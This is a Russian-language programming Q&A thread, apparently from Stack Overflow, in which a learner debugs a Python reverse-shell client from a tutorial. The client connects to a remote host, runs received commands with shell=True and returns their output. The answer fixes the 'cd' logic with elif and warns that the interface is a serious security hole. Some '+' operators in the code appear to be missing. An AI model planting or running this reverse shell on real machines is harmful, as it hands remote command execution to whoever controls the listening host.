Код выдает ошибку изменения каталога, но все равно изменяет каталог

#python #python-3.x

#python #python-3.x

Вопрос:

 import os
import socket
import subprocess
s = socket.socket()
host = '<my-ip>'
port = 9999
s.connect((host, port))
while True:
    data = s.recv(1024)
    if data[:2].decode("utf-8") == 'cd':
        os.chdir(data[3:].decode("utf-8"))
    if len(data) > 0:
        cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        outputBytes = cmd.stdout.read()   cmd .stderr.read()
        outputStr = str(outputBytes, "utf-8")
        s.send(str.encode(outputStr   str(os.getcwd()   '> ')))
        print (outputStr)

# Close connection
s.close()
  

Я пытаюсь создать удаленное клиент-серверное приложение с использованием python, пройдя через туториал newboston для обратной оболочки python.

Приведенный выше код для client.py . Дело в том, что все команды работают нормально. Когда я использую

cd «Имя каталога с пробелом»

это выдает мне эту ошибку «Система не может найти указанный путь». Но он все равно изменяет каталог. Я не уверен, почему он все еще изменяет каталог даже после выдачи ошибки?

Ответ №1:

Здесь есть два if s:

 if data[:2].decode("utf-8") == 'cd':
    os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
    cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True,
                           stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                           stdin=subprocess.PIPE)
  
  • Если команда начинается с ‘cd’, выполняется первый блок (потому что он начинается с ‘cd’).

  • Если команда начинается с ‘cd’, второй блок также выполняется (поскольку он имеет длину> 0).

Первый блок изменяет каталог, даже если в нем есть пробелы. Второй блок этого не делает.

Вы хотите использовать elif , чтобы предотвратить выполнение обоих блоков:

 if data[:2].decode("utf-8") == 'cd':
    os.chdir(data[3:].decode("utf-8"))
elif len(data) > 0:
    cmd = subprocess.Popen(...
  

Кстати, с этим кодом есть и другие проблемы:

  • 'cdefgh' изменит каталог на 'fgh'

  • 'cd abc' попытается изменить каталог на ' abc' и, вероятно, потерпит неудачу

  • если Popen используется для чего-либо, кроме cd , я не понимаю, почему он cd также не будет использоваться

  • раскрытие такого интерфейса на сервере — это большая дыра в безопасности, которую может создать любой вирус — если вы делаете это просто для изучения, запишите код, как только закончите 😉